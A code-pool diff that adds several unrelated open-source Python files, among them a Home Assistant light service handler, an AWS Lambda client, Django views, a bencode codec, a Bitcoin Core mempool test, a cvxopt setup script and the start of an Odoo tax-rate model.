+        # Get the validated data
+        params = service.data.copy()
+
+        # Convert the entity ids to valid light ids
+        target_lights = component.extract_from_service(service)
+        params.pop(ATTR_ENTITY_ID, None)
+
+        service_fun = None
+        if service.service == SERVICE_TURN_OFF:
+            service_fun = 'turn_off'
+        elif service.service == SERVICE_TOGGLE:
+            service_fun = 'toggle'
+
+        if service_fun:
+            for light in target_lights:
+                getattr(light, service_fun)(**params)
+
+            for light in target_lights:
+                if light.should_poll:
+                    light.update_ha_state(True)
+            return
+
+        # Processing extra data for turn light on request.
+        profile = profiles.get(params.pop(ATTR_PROFILE, None))
+
+        if profile:
+            params.setdefault(ATTR_XY_COLOR, profile[:2])
+            params.setdefault(ATTR_BRIGHTNESS, profile[2])
+
+        color_name = params.pop(ATTR_COLOR_NAME, None)
+
+        if color_name is not None:
+            params[ATTR_RGB_COLOR] = color_util.color_name_to_rgb(color_name)
+
+        for light in target_lights:
+            light.turn_on(**params)
+
+        for light in target_lights:
+            if light.should_poll:
+                light.update_ha_state(True)
+
+    # Listen for light on and light off service calls.
+    descriptions = load_yaml_config_file(
+        os.path.join(os.path.dirname(__file__), 'services.yaml'))
+    hass.services.register(DOMAIN, SERVICE_TURN_ON, handle_light_service,
+                           descriptions.get(SERVICE_TURN_ON),
+                           schema=LIGHT_TURN_ON_SCHEMA)
+
+    hass.services.register(DOMAIN, SERVICE_TURN_OFF, handle_light_service,
+                           descriptions.get(SERVICE_TURN_OFF),
+                           schema=LIGHT_TURN_OFF_SCHEMA)
+
+    hass.services.register(DOMAIN, SERVICE_TOGGLE, handle_light_service,
+                           descriptions.get(SERVICE_TOGGLE),
+                           schema=LIGHT_TOGGLE_SCHEMA)
+
+    return True
+
+
+class Light(ToggleEntity):
+    """Representation of a light."""
+
+    # pylint: disable=no-self-use, abstract-method
+
+    @property
+    def brightness(self):
+        """Return the brightness of this light between 0..255."""
+        return None
+
+    @property
+    def xy_color(self):
+        """Return the XY color value [float, float]."""
+        return None
+
+    @property
+    def rgb_color(self):
+        """Return the RGB color value [int, int, int]."""
+        return None
+
+    @property
+    def color_temp(self):
+        """Return the CT color value in mireds."""
+        return None
+
+    @property
+    def state_attributes(self):
+        """Return optional state attributes."""
+        data = {}
+
+        if self.is_on:
+            for prop, attr in PROP_TO_ATTR.items():
+                value = getattr(self, prop)
+                if value:
+                    data[attr] = value
+
+            if ATTR_RGB_COLOR not in data and ATTR_XY_COLOR in data and \
+               ATTR_BRIGHTNESS in data:
+                data[ATTR_RGB_COLOR] = color_util.color_xy_brightness_to_RGB(
+                    data[ATTR_XY_COLOR][0], data[ATTR_XY_COLOR][1],
+                    data[ATTR_BRIGHTNESS])
+
+        return data
diff --git a/pool/shard000/Python/0008603_automateRoundsAdaptive.py b/pool/shard000/Python/0008603_automateRoundsAdaptive.py
new file mode 100644
index 0000000000000000000000000000000000000000..90e90cf5aa2ea851f41844e8122044baae86f380
--- /dev/null
+++ b/pool/shard000/Python/0008603_automateRoundsAdaptive.py
@@ -0,0 +1,68 @@
+from __future__ import absolute_import, division, print_function, unicode_literals
+from AdaptivePELE.simulation import simulationrunner
+import AdaptivePELE.adaptiveSampling as adaptiveSampling
+import argparse
+import os
+
+
+def automateSimulation(args):
+    """
+        Run multiple AdaptivePELE simulation with the same parameters, changing
+        only the seed
+
+        :param args: Object containing the command line arguments
+        :type args: object
+    """
+    controlFile = args.controlFile
+    numSimulations = args.numSimulations
+    nProcessors = args.nProcessors
+    nSteps = args.nSteps
+    simulationName = args.simulationName
+    simulationParameters = simulationrunner.SimulationParameters()
+    simulationParameters.templetizedControlFile = controlFile
+    simulationRunner = simulationrunner.SimulationRunner(simulationParameters)
+    epochs = args.epochs
+    if epochs:
+        rangeOfEpochs = epochs
+    else:
+        rangeOfEpochs = list(range(1, numSimulations+1))
+    print("rangeOfEpochs", rangeOfEpochs)
+
+    for i in rangeOfEpochs:
+        controlFileDictionary = {"SEED": "%d%d%d", "OUTPUTPATH": "%s_%d"}
+        SEED_i = int(controlFileDictionary["SEED"] % (i, nProcessors, nSteps))
+        controlFileDictionary["SEED"] = SEED_i
+        outputPath_i = controlFileDictionary["OUTPUTPATH"] % (simulationName, i)
+        controlFileDictionary["OUTPUTPATH"] = outputPath_i
+        controlFileName = "tmp_%s_controlfile_%s_%d.conf" % (os.path.splitext(controlFile)[0], simulationName, i)
+        controlFileName = controlFileName.replace("/", "_")
+        simulationRunner.makeWorkingControlFile(controlFileName, controlFileDictionary)
+        print("Starting simulation %d" % i)
+        adaptiveSampling.main(controlFileName)
+
+
+def parseArguments():
+    """
+        Parse the command line arguments
+    """
+    parser = argparse.ArgumentParser(description="Automate the process "
+                                     "of repeating simulations")
+    parser.add_argument('controlFile', type=str)
+    parser.add_argument('numSimulations', type=int)
+    parser.add_argument('nProcessors', type=int)
+    parser.add_argument('nSteps', type=int)
+    parser.add_argument('simulationName', type=str)
+    parser.add_argument("-e", "--epochs", nargs='*', type=int, help="Epochs to run")
+    args = parser.parse_args()
+    return args
+
+
+def main():
+    """
+        Run the multiple simulations
+    """
+    args = parseArguments()
+    automateSimulation(args)
+
+if __name__ == "__main__":
+    main()
diff --git a/pool/shard000/Python/0008604_lambdaclient.py b/pool/shard000/Python/0008604_lambdaclient.py
new file mode 100644
index 0000000000000000000000000000000000000000..f61fc403225485cefe259165b1489ad6a7ba8d3e
--- /dev/null
+++ b/pool/shard000/Python/0008604_lambdaclient.py
@@ -0,0 +1,136 @@
+# Copyright (c) 2016 CloudNative, Inc.
+#
+# Licensed under the Apache License, Version 2.0 (the "License"). You
+# may not use this file except in compliance with the License. A copy of
+# the License is located at
+#
+# http://aws.amazon.com/apache2.0/
+#
+# or in the "license" file accompanying this file. This file is
+# distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF
+# ANY KIND, either express or implied. See the License for the specific
+# language governing permissions and limitations under the License.
+
+import logging
+import json
+
+import boto3
+import botocore.exceptions
+
+from cruddy.response import CRUDResponse
+
+LOG = logging.getLogger(__name__)
+
+
+class LambdaClient(object):
+
+    def __init__(self, func_name, profile_name=None,
+                 region_name=None, **kwargs):
+        self.__name__ = func_name
+        self._lambda_client = None
+        session = boto3.Session(
+            profile_name=profile_name, region_name=region_name)
+        self._lambda_client = session.client('lambda')
+
+    def invoke(self, payload):
+        try:
+            response = self._lambda_client.invoke(
+                FunctionName=self.__name__,
+                InvocationType='RequestResponse',
+                Payload=json.dumps(payload)
+            )
+            LOG.debug('response: %s', response)
+            if response.get('StatusCode') == 200:
+                payload = response['Payload'].read()
+                LOG.debug('response.payload: %s', payload)
+                try:
+                    response = json.loads(payload)
+                except ValueError:
+                    # Probably a plain text response, or an error...
+                    response = payload
+                    print(response)
+                return CRUDResponse(response_data=response)
+            else:
+                LOG.error('Call to lambda function %s failed', self.__name__)
+                LOG.error(response.get('FunctionError'))
+                LOG.error(response.get('ResponseMetadata'))
+                return False
+        except botocore.exceptions.ClientError:
+            LOG.exception('Could not call Lambda function %s', self.__name__)
+            raise
+
+    def call_operation(self, operation, **kwargs):
+        """
+        A generic method to call any operation supported by the Lambda handler
+        """
+        data = {'operation': operation}
+        data.update(kwargs)
+        return self.invoke(data)
+
+    def ping(self, **kwargs):
+        data = {'operation': 'describe'}
+        data.update(kwargs)
+        return self.invoke(data)
+
+    def describe(self, **kwargs):
+        data = {'operation': 'describe'}
+        data.update(kwargs)
+        return self.invoke(data)
+
+    def help(self, **kwargs):
+        data = {'operation': 'help'}
+        data.update(kwargs)
+        return self.invoke(data)
+
+    def list(self, **kwargs):
+        data = {'operation': 'list'}
+        data.update(kwargs)
+        return self.invoke(data)
+
+    def get(self, item_id, **kwargs):
+        data = {'operation': 'get',
+                'id': item_id}
+        data.update(kwargs)
+        return self.invoke(data)
+
+    def create(self, item, **kwargs):
+        data = {'operation': 'create',
+                'item': item}
+        data.update(kwargs)
+        return self.invoke(data)
+
+    def update(self, item, **kwargs):
+        data = {'operation': 'update',
+                'item': item}
+        encrypt = kwargs.get('encrypt', True)
+        data['encrypt'] = encrypt
+        data.update(kwargs)
+        return self.invoke(data)
+
+    def delete(self, item_id, **kwargs):
+        data = {'operation': 'delete',
+                'id': item_id}
+        data.update(kwargs)
+        return self.invoke(data)
+
+    def bulk_delete(self, query, **kwargs):
+        data = {'operation': 'bulk_delete',
+                'query': query}
+        data.update(kwargs)
+        return self.invoke(data)
+
+    def search(self, query, **kwargs):
+        data = {'operation': 'search',
+                'query': query}
+        data.update(kwargs)
+        return self.invoke(data)
+
+    def increment(self, item_id, counter_name, **kwargs):
+        id_name = kwargs.get('id_name', 'id')
+        increment = kwargs.get('increment', 1)
+        data = {'operation': 'increment_counter',
+                id_name: item_id,
+                'counter_name': counter_name,
+                'increment': increment}
+        data.update(kwargs)
+        return self.invoke(data)
diff --git a/pool/shard000/Python/0008606_views.py b/pool/shard000/Python/0008606_views.py
new file mode 100644
index 0000000000000000000000000000000000000000..b6f79782ec2e407df3e7bec5e9571d8eabecb24f
--- /dev/null
+++ b/pool/shard000/Python/0008606_views.py
@@ -0,0 +1,140 @@
+from pathlib import PurePath
+from tempfile import mkdtemp
+
+from django.core.urlresolvers import reverse
+from django.http import HttpResponse
+from django.views.generic import RedirectView
+from django.views.generic.detail import SingleObjectMixin
+from viewflow.models import Task
+from viewflow.flow.views import UpdateProcessView
+
+from .io.xlsx import generate_template
+from .forms import SubmissionTagsForm
+from .models import SubmissionProcess
+from .utils import is_hidden_task
+
+
+class NextTaskRedirectView(SingleObjectMixin,
+                           RedirectView):
+
+    model = SubmissionProcess
+    pk_url_kwarg = 'process_pk'
+
+    def get_process_tasks(self, process, user):
+
+        task_class = process.flow_class.task_class
+        return task_class._default_manager.user_queue(user).filter(
+            process=process
+        )
+
+    def get_redirect_url(self, *args, **kwargs):
+
+        namespace = self.request.resolver_match.namespace
+        process = self.get_object()
+        task_pk = kwargs.get('task_pk')
+        user_tasks = self.get_process_tasks(process, self.request.user)
+
+        default_url = reverse(
+            '{}:detail'.format(namespace),
+            kwargs={'process_pk': process.pk}
+        )
+
+        if not user_tasks.exists():
+            return default_url
+
+        try:
+            task = user_tasks.get(pk=task_pk)
+        except Task.DoesNotExist:
+            return default_url
+
+        def get_next_task(task):
+            if task.leading.count():
+                next_task = task.leading.get()
+                if is_hidden_task(str(next_task.flow_task).lower()):
+                    return get_next_task(next_task)
+                return next_task
+            return task
+
+        next_task = get_next_task(task)
+        return next_task.flow_task.get_task_url(
+            next_task,
+            url_type='guess',
+            user=self.request.user,
+            namespace=namespace
+        )
+
+
+class DownloadXLSXTemplateView(UpdateProcessView):
+
+    template_name = 'submission/download_xlsx_template.html'
+
+    def get_context_data(self, **kwargs):
+
+        process = self.get_object()
+
+        ctx = super().get_context_data(**kwargs)
+        ctx.update({
+            'task_list': process.task_set.all().order_by('created'),
+        })
+
+        return ctx
+
+    def post(self, request, *args, **kwargs):
+
+        template_file_name = 'meta.xlsx'
+        template_path = PurePath(mkdtemp(), template_file_name)
+        checksum, version = generate_template(filename=template_path)
+
+        process = self.get_object()
+        process.downloaded = True
+        process.template_checksum = checksum
+        process.template_version = version
+        process.save()
+        self.activation_done()
+
+        response = HttpResponse(
+            content_type=(
+                'application/vnd'
+                '.openxmlformats-officedocument'
+                '.spreadsheetml'
+                '.sheet'
+            )
+        )
+        content_disposition = 'attachment; filename="{}"'.format(
+            '{}-{}.xlsx'.format(
+                template_path.stem,
+                version[:8]
+            )
+        )
+        response['Content-Disposition'] = content_disposition
+
+        with open(template_path, 'rb') as template:
+            response.write(template.read())
+
+        return response
+
+
+class UploadArchiveView(UpdateProcessView):
+
+    template_name = 'submission/upload_archive.html'
+    fields = ['archive', ]
+
+    def form_valid(self, form):
+
+        process = form.save(commit=False)
+        process.uploaded = True
+        process.save()
+
+        return super().form_valid(form)
+
+
+class ArchiveValidationView(UpdateProcessView):
+
+    template_name = 'submission/validation.html'
+    fields = ['validated', ]
+
+
+class TagsView(UpdateProcessView):
+
+    template_name = 'submission/tags.html'
+    form_class = SubmissionTagsForm
diff --git a/pool/shard000/Python/0008607_bencode.py b/pool/shard000/Python/0008607_bencode.py
new file mode 100644
index 0000000000000000000000000000000000000000..1ee1d66f0db068c13a489c250b3a87a27154e6cc
--- /dev/null
+++ b/pool/shard000/Python/0008607_bencode.py
@@ -0,0 +1,136 @@
+# The contents of this file are subject to the BitTorrent Open Source License
+# Version 1.1 (the License).  You may not copy or use this file, in either
+# source code or executable form, except in compliance with the License.  You
+# may obtain a copy of the License at http://www.bittorrent.com/license/.
+#
+# Software distributed under the License is distributed on an AS IS basis,
+# WITHOUT WARRANTY OF ANY KIND, either express or implied.  See the License
+# for the specific language governing rights and limitations under the
+# License.
+
+# Written by Petru Paler
+
+from BitTorrent.obsoletepythonsupport import *
+
+from BitTorrent import BTFailure
+
+def decode_int(x, f):
+    f += 1
+    newf = x.index('e', f)
+    n = int(x[f:newf])
+    if x[f] == '-':
+        if x[f + 1] == '0':
+            raise ValueError
+    elif x[f] == '0' and newf != f+1:
+        raise ValueError
+    return (n, newf+1)
+
+def decode_string(x, f):
+    colon = x.index(':', f)
+    n = int(x[f:colon])
+    if x[f] == '0' and colon != f+1:
+        raise ValueError
+    colon += 1
+    return (x[colon:colon+n], colon+n)
+
+def decode_list(x, f):
+    r, f = [], f+1
+    while x[f] != 'e':
+        v, f = decode_func[x[f]](x, f)
+        r.append(v)
+    return (r, f + 1)
+
+def decode_dict(x, f):
+    r, f = {}, f+1
+    lastkey = None
+    while x[f] != 'e':
+        k, f = decode_string(x, f)
+        if lastkey >= k:
+            raise ValueError
+        lastkey = k
+        r[k], f = decode_func[x[f]](x, f)
+    return (r, f + 1)
+
+decode_func = {}
+decode_func['l'] = decode_list
+decode_func['d'] = decode_dict
+decode_func['i'] = decode_int
+decode_func['0'] = decode_string
+decode_func['1'] = decode_string
+decode_func['2'] = decode_string
+decode_func['3'] = decode_string
+decode_func['4'] = decode_string
+decode_func['5'] = decode_string
+decode_func['6'] = decode_string
+decode_func['7'] = decode_string
+decode_func['8'] = decode_string
+decode_func['9'] = decode_string
+
+def bdecode(x):
+    try:
+        r, l = decode_func[x[0]](x, 0)
+    except (IndexError, KeyError, ValueError):
+        raise BTFailure, _("not a valid bencoded string")
+    if l != len(x):
+        raise BTFailure, _("invalid bencoded value (data after valid prefix)")
+    return r
+
+from types import StringType, IntType, LongType, DictType, ListType, TupleType
+
+
+class Bencached(object):
+
+    __slots__ = ['bencoded']
+
+    def __init__(self, s):
+        self.bencoded = s
+
+def encode_bencached(x,r):
+    r.append(x.bencoded)
+
+def encode_int(x, r):
+    r.extend(('i', str(x), 'e'))
+
+def encode_bool(x, r):
+    if x:
+        encode_int(1, r)
+    else:
+        encode_int(0, r)
+        
+def encode_string(x, r):
+    r.extend((str(len(x)), ':', x))
+
+def encode_list(x, r):
+    r.append('l')
+    for i in x:
+        encode_func[type(i)](i, r)
+    r.append('e')
+
+def encode_dict(x,r):
+    r.append('d')
+    ilist = x.items()
+    ilist.sort()
+    for k, v in ilist:
+        r.extend((str(len(k)), ':', k))
+        encode_func[type(v)](v, r)
+    r.append('e')
+
+encode_func = {}
+encode_func[Bencached] = encode_bencached
+encode_func[IntType] = encode_int
+encode_func[LongType] = encode_int
+encode_func[StringType] = encode_string
+encode_func[ListType] = encode_list
+encode_func[TupleType] = encode_list
+encode_func[DictType] = encode_dict
+
+try:
+    from types import BooleanType
+    encode_func[BooleanType] = encode_bool
+except ImportError:
+    pass
+
+def bencode(x):
+    r = []
+    encode_func[type(x)](x, r)
+    return ''.join(r)
diff --git a/pool/shard000/Python/0008608_004.py b/pool/shard000/Python/0008608_004.py
new file mode 100644
index 0000000000000000000000000000000000000000..c53adbee6e037de8d34ef129131802eaae57c6ff
--- /dev/null
+++ b/pool/shard000/Python/0008608_004.py
@@ -0,0 +1,14 @@
+#!/usr/bin/env python3
+from random import sample
+
+characters = '''\
+abcdefghijklmnopqrstuvwxyz\
+ABCDEFGHIJKLMNOPQRSTUVWXYZ\
+0123456789!@#$%^&*()_+-=?~\
+'''
+
+length = int(input('What is the desired length? ').strip())
+amount = int(input('How many passwords? ').strip())
+
+for i in range(amount):
+    print(''.join(sample(characters, length)))
diff --git a/pool/shard000/Python/0008619_mempool_unbroadcast.py b/pool/shard000/Python/0008619_mempool_unbroadcast.py
new file mode 100644
index 0000000000000000000000000000000000000000..7d9e6c306d8ac18f958e04a250e4ac7d74d96d68
--- /dev/null
+++ b/pool/shard000/Python/0008619_mempool_unbroadcast.py
@@ -0,0 +1,117 @@
+#!/usr/bin/env python3
+# Copyright (c) 2017-2020 The Bitcoin Core developers
+# Distributed under the MIT software license, see the accompanying
+# file COPYING or http://www.opensource.org/licenses/mit-license.php.
+"""Test that the mempool ensures transaction delivery by periodically sending
+to peers until a GETDATA is received."""
+
+import time
+
+from test_framework.p2p import P2PTxInvStore
+from test_framework.test_framework import BitcoinTestFramework
+from test_framework.util import (
+    assert_equal,
+    create_confirmed_utxos,
+)
+
+MAX_INITIAL_BROADCAST_DELAY = 15 * 60 # 15 minutes in seconds
+
+class MempoolUnbroadcastTest(BitcoinTestFramework):
+    def set_test_params(self):
+        self.num_nodes = 2
+
+    def skip_test_if_missing_module(self):
+        self.skip_if_no_wallet()
+
+    def run_test(self):
+        self.test_broadcast()
+        self.test_txn_removal()
+
+    def test_broadcast(self):
+        self.log.info("Test that mempool reattempts delivery of locally submitted transaction")
+        node = self.nodes[0]
+
+        min_relay_fee = node.getnetworkinfo()["relayfee"]
+        utxos = create_confirmed_utxos(min_relay_fee, node, 10)
+
+        self.disconnect_nodes(0, 1)
+
+        self.log.info("Generate transactions that only node 0 knows about")
+
+        # generate a wallet txn
+        addr = node.getnewaddress()
+        wallet_tx_hsh = node.sendtoaddress(addr, 0.0001)
+
+        # generate a txn using sendrawtransaction
+        us0 = utxos.pop()
+        inputs = [{"txid": us0["txid"], "vout": us0["vout"]}]
+        outputs = {addr: 0.0001}
+        tx = node.createrawtransaction(inputs, outputs)
+        node.settxfee(min_relay_fee)
+        txF = node.fundrawtransaction(tx)
+        txFS = node.signrawtransactionwithwallet(txF["hex"])
+        rpc_tx_hsh = node.sendrawtransaction(txFS["hex"])
+
+        # check transactions are in unbroadcast using rpc
+        mempoolinfo = self.nodes[0].getmempoolinfo()
+        assert_equal(mempoolinfo['unbroadcastcount'], 2)
+        mempool = self.nodes[0].getrawmempool(True)
+        for tx in mempool:
+            assert_equal(mempool[tx]['unbroadcast'], True)
+
+        # check that second node doesn't have these two txns
+        mempool = self.nodes[1].getrawmempool()
+        assert rpc_tx_hsh not in mempool
+        assert wallet_tx_hsh not in mempool
+
+        # ensure that unbroadcast txs are persisted to mempool.dat
+        self.restart_node(0)
+
+        self.log.info("Reconnect nodes & check if they are sent to node 1")
+        self.connect_nodes(0, 1)
+
+        # fast forward into the future & ensure that the second node has the txns
+        node.mockscheduler(MAX_INITIAL_BROADCAST_DELAY)
+        self.sync_mempools(timeout=30)
+        mempool = self.nodes[1].getrawmempool()
+        assert rpc_tx_hsh in mempool
+        assert wallet_tx_hsh in mempool
+
+        # check that transactions are no longer in first node's unbroadcast set
+        mempool = self.nodes[0].getrawmempool(True)
+        for tx in mempool:
+            assert_equal(mempool[tx]['unbroadcast'], False)
+
+        self.log.info("Add another connection & ensure transactions aren't broadcast again")
+
+        conn = node.add_p2p_connection(P2PTxInvStore())
+        node.mockscheduler(MAX_INITIAL_BROADCAST_DELAY)
+        time.sleep(2) # allow sufficient time for possibility of broadcast
+        assert_equal(len(conn.get_invs()), 0)
+
+        self.disconnect_nodes(0, 1)
+        node.disconnect_p2ps()
+
+        self.log.info("Rebroadcast transaction and ensure it is not added to unbroadcast set when already in mempool")
+        rpc_tx_hsh = node.sendrawtransaction(txFS["hex"])
+        mempool = node.getrawmempool(True)
+        assert rpc_tx_hsh in mempool
+        assert not mempool[rpc_tx_hsh]['unbroadcast']
+
+    def test_txn_removal(self):
+        self.log.info("Test that transactions removed from mempool are removed from unbroadcast set")
+        node = self.nodes[0]
+
+        # since the node doesn't have any connections, it will not receive
+        # any GETDATAs & thus the transaction will remain in the unbroadcast set.
+        addr = node.getnewaddress()
+        txhsh = node.sendtoaddress(addr, 0.0001)
+
+        # check transaction was removed from unbroadcast set due to presence in
+        # a block
+        removal_reason = "Removed {} from set of unbroadcast txns before confirmation that txn was sent out".format(txhsh)
+        with node.assert_debug_log([removal_reason]):
+            node.generate(1)
+
+if __name__ == "__main__":
+    MempoolUnbroadcastTest().main()
diff --git a/pool/shard000/Python/0008622_setup.py b/pool/shard000/Python/0008622_setup.py
new file mode 100644
index 0000000000000000000000000000000000000000..c1911fc7d0f0c759f9e2706b8b7105052e07c9ad
--- /dev/null
+++ b/pool/shard000/Python/0008622_setup.py
@@ -0,0 +1,183 @@
+from distutils.core import setup, Extension
+from glob import glob
+
+# Modifiy this if BLAS and LAPACK libraries are not in /usr/lib.
+BLAS_LIB_DIR = '/usr/lib'
+
+# Default names of BLAS and LAPACK libraries
+BLAS_LIB = ['blas']
+LAPACK_LIB = ['lapack']
+BLAS_EXTRA_LINK_ARGS = []
+
+# Set environment variable BLAS_NOUNDERSCORES=1 if your BLAS/LAPACK do
+# not use trailing underscores
+BLAS_NOUNDERSCORES = False
+
+# Set to 1 if you are using the random number generators in the GNU
+# Scientific Library.
+BUILD_GSL = 0
+
+# Directory containing libgsl (used only when BUILD_GSL = 1).
+GSL_LIB_DIR = '/usr/lib'
+
+# Directory containing the GSL header files (used only when BUILD_GSL = 1).
+GSL_INC_DIR = '/usr/include/gsl'
+
+# Set to 1 if you are installing the fftw module.
+BUILD_FFTW = 0 
+
+# Directory containing libfftw3 (used only when BUILD_FFTW = 1).
+FFTW_LIB_DIR = '/usr/lib'
+
+# Directory containing fftw.h (used only when BUILD_FFTW = 1).
+FFTW_INC_DIR = '/usr/include'
+
+# Set to 1 if you are installing the glpk module.
+BUILD_GLPK = 0 
+
+# Directory containing libglpk (used only when BUILD_GLPK = 1).
+GLPK_LIB_DIR = '/usr/lib'
+
+# Directory containing glpk.h (used only when BUILD_GLPK = 1).
+GLPK_INC_DIR = '/usr/include'
+
+# Set to 1 if you are installing the DSDP module.
+BUILD_DSDP = 0
+
+# Directory containing libdsdp (used only when BUILD_DSDP = 1).
+DSDP_LIB_DIR = '/usr/lib'
+ 
+# Directory containing dsdp5.h (used only when BUILD_DSDP = 1).
+DSDP_INC_DIR = '/usr/include/dsdp'
+
+# No modifications should be needed below this line.
+
+extmods = []
+
+# Macros
+MACROS = []
+if BLAS_NOUNDERSCORES: MACROS.append(('BLAS_NO_UNDERSCORE',''))
+
+# optional modules
+
+if BUILD_GSL:
+    gsl = Extension('gsl', libraries = ['m', 'gsl'] + BLAS_LIB,
+        include_dirs = [ GSL_INC_DIR ],
+        library_dirs = [ GSL_LIB_DIR, BLAS_LIB_DIR ],
+        extra_link_args = BLAS_EXTRA_LINK_ARGS,
+        sources = ['C/gsl.c'] )
+    extmods += [gsl];
+
+if BUILD_FFTW:
+    fftw = Extension('fftw', libraries = ['fftw3'] + BLAS_LIB,
+        include_dirs = [ FFTW_INC_DIR ],
+        library_dirs = [ FFTW_LIB_DIR, BLAS_LIB_DIR ],
+        extra_link_args = BLAS_EXTRA_LINK_ARGS,
+        sources = ['C/fftw.c'] )
+    extmods += [fftw];
+
+if BUILD_GLPK:
+    glpk = Extension('glpk', libraries = ['glpk'],
+        include_dirs = [ GLPK_INC_DIR ],
+        library_dirs = [ GLPK_LIB_DIR ],
+        sources = ['C/glpk.c'] )
+    extmods += [glpk];
+
+if BUILD_DSDP:
+    dsdp = Extension('dsdp', libraries = ['dsdp'] + LAPACK_LIB + BLAS_LIB,
+        include_dirs = [ DSDP_INC_DIR ],
+        library_dirs = [ DSDP_LIB_DIR, BLAS_LIB_DIR ],
+        extra_link_args = BLAS_EXTRA_LINK_ARGS,
+        sources = ['C/dsdp.c'] )
+    extmods += [dsdp];
+
+# Required modules
+
+base = Extension('base', libraries = ['m'] + LAPACK_LIB + BLAS_LIB,
+    library_dirs = [ BLAS_LIB_DIR ],
+    define_macros = MACROS,
+    extra_link_args = BLAS_EXTRA_LINK_ARGS,
+    sources = ['C/base.c','C/dense.c','C/sparse.c']) 
+
+blas = Extension('blas', libraries = BLAS_LIB,
+    library_dirs = [ BLAS_LIB_DIR ],
+    define_macros = MACROS,
+    extra_link_args = BLAS_EXTRA_LINK_ARGS,
+    sources = ['C/blas.c'] )
+
+lapack = Extension('lapack', libraries = LAPACK_LIB + BLAS_LIB,
+    library_dirs = [ BLAS_LIB_DIR ],
+    define_macros = MACROS,
+    extra_link_args = BLAS_EXTRA_LINK_ARGS,
+    sources = ['C/lapack.c'] )
+
+umfpack = Extension('umfpack', 
+    include_dirs = [ 'C/SuiteSparse/UMFPACK/Include',
+        'C/SuiteSparse/AMD/Include', 'C/SuiteSparse/AMD/Source', 
+        'C/SuiteSparse/UFconfig' ],
+    library_dirs = [ BLAS_LIB_DIR ],
+    define_macros = MACROS,
+    libraries = LAPACK_LIB + BLAS_LIB,
+    extra_link_args = BLAS_EXTRA_LINK_ARGS,
+    sources = [ 'C/umfpack.c',
+        'C/SuiteSparse/UMFPACK/Source/umfpack_global.c',
+        'C/SuiteSparse/UMFPACK/Source/umfpack_tictoc.c' ] +
+        glob('C/SuiteSparse_cvxopt_extra/umfpack/*'))
+
+# Build for int or long? 
+import sys
+if sys.maxsize > 2**31: MACROS += [('DLONG','')]
+
+cholmod = Extension('cholmod',
+    library_dirs = [ BLAS_LIB_DIR ],
+    libraries = LAPACK_LIB + BLAS_LIB,
+    include_dirs = [ 'C/SuiteSparse/CHOLMOD/Include', 
+        'C/SuiteSparse/COLAMD', 'C/SuiteSparse/AMD/Include', 
+        'C/SuiteSparse/UFconfig', 'C/SuiteSparse/COLAMD/Include' ],
+    define_macros = MACROS + [('NPARTITION', '1')],
+    extra_link_args = BLAS_EXTRA_LINK_ARGS,
+    sources = [ 'C/cholmod.c' ] + 
+        ['C/SuiteSparse/AMD/Source/' + s for s in ['amd_global.c',
+            'amd_postorder.c', 'amd_post_tree.c', 'amd_2.c']] +
+        ['C/SuiteSparse/COLAMD/Source/' + s for s in ['colamd.c',
+            'colamd_global.c']] +
+        glob('C/SuiteSparse/CHOLMOD/Core/c*.c') +
+        glob('C/SuiteSparse/CHOLMOD/Cholesky/c*.c') +
+        ['C/SuiteSparse/CHOLMOD/Check/cholmod_check.c'] +
+        glob('C/SuiteSparse/CHOLMOD/Supernodal/c*.c') )
+
+amd = Extension('amd', 
+    include_dirs = [ 'C/SuiteSparse/AMD/Include', 
+        'C/SuiteSparse/UFconfig' ],
+    define_macros = MACROS,
+    sources = [ 'C/amd.c' ] + glob('C/SuiteSparse/AMD/Source/*.c') )
+
+misc_solvers = Extension('misc_solvers',
+    libraries = LAPACK_LIB + BLAS_LIB,
+    library_dirs = [ BLAS_LIB_DIR ],
+    define_macros = MACROS,
+    extra_link_args = BLAS_EXTRA_LINK_ARGS,
+    sources = ['C/misc_solvers.c'] )
+
+extmods += [base, blas, lapack, umfpack, cholmod, amd, misc_solvers] 
+
+setup (name = 'cvxopt', 
+    description = 'Convex optimization package',
+    version = '1.1.5', 
+    long_description = '''
+CVXOPT is a free software package for convex optimization based on the 
+Python programming language. It can be used with the interactive Python 
+interpreter, on the command line by executing Python scripts, or 
+integrated in other software via Python extension modules. Its main 
+purpose is to make the development of software for convex optimization 
+applications straightforward by building on Python's extensive standard 
+library and on the strengths of Python as a high-level programming 
+language.''', 
+    author = 'M. Andersen, J. Dahl, and L. Vandenberghe',
+    author_email = 'martin.skovgaard.andersen@gmail.com, dahl.joachim@gmail.com, vandenbe@ee.ucla.edu',
+    url = 'http://abel.ee.ucla.edu/cvxopt',
+    license = 'GNU GPL version 3',
+    ext_package = "cvxopt",
+    ext_modules = extmods,
+    package_dir = {"cvxopt": "python"},
+    packages = ["cvxopt"])
diff --git a/pool/shard000/Python/0008629_ptkp.py b/pool/shard000/Python/0008629_ptkp.py
new file mode 100644
index 0000000000000000000000000000000000000000..a04f3bd0b04ab713959ba5f1d2266d1b4c8e1d9a
--- /dev/null
+++ b/pool/shard000/Python/0008629_ptkp.py
@@ -0,0 +1,101 @@
+# -*- coding: utf-8 -*-
+# Copyright 2016 OpenSynergy Indonesia
+# License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl).
+
+from openerp import models, fields, api
+from openerp.tools.translate import _
+from datetime import datetime
+
+
+class PtkpCategory(models.Model):
+    _name = "l10n_id.ptkp_category"
+    _description = "Kategori PTKP"
+
+    name = fields.Char(
+        string="Category",
+        required=True,
+    )
+    note = fields.Text(
+        string="Additional Note",
+    )
+
+    @api.multi
+    def get_rate(self, dt=None):
+        self.ensure_one()
+        obj_ptkp = self.env["l10n_id.ptkp"]
+        ptkp = obj_ptkp.find(dt)
+        result = ptkp.get_rate(self)
+        return result
+
+
+class Ptkp(models.Model):
+    _name = "l10n_id.ptkp"
+    _description = "Tarif PTKP"
+    _order = "date_start desc, id"
+
+    name = fields.Char(
+        string="Dasar Hukum",
+        required=True,
+    )
+    date_start = fields.Date(
+        string="Tanggal Mulai Berlaku",
+        required=True,
+    )
+    line_ids = fields.One2many(
+        string="Detail Tarif",
+        comodel_name="l10n_id.ptkp_line",
+        inverse_name="ptkp_id",
+    )
+
+    _sql_constraints = [
+        ("date_start_unique",
+         "unique(date_start)",
+         _("Date start has to be unique"))
+    ]
+
+    @api.model
+    def find(self, dt=None):
+        if not dt:
+            dt = datetime.now().strftime("%Y-%m-%d")
+        criteria = [("date_start", "<=", dt)]
+        results = self.search(criteria, limit=1)
+        if not results:
+            strWarning = _(
+                "No PTKP rate configuration for %s" % dt)
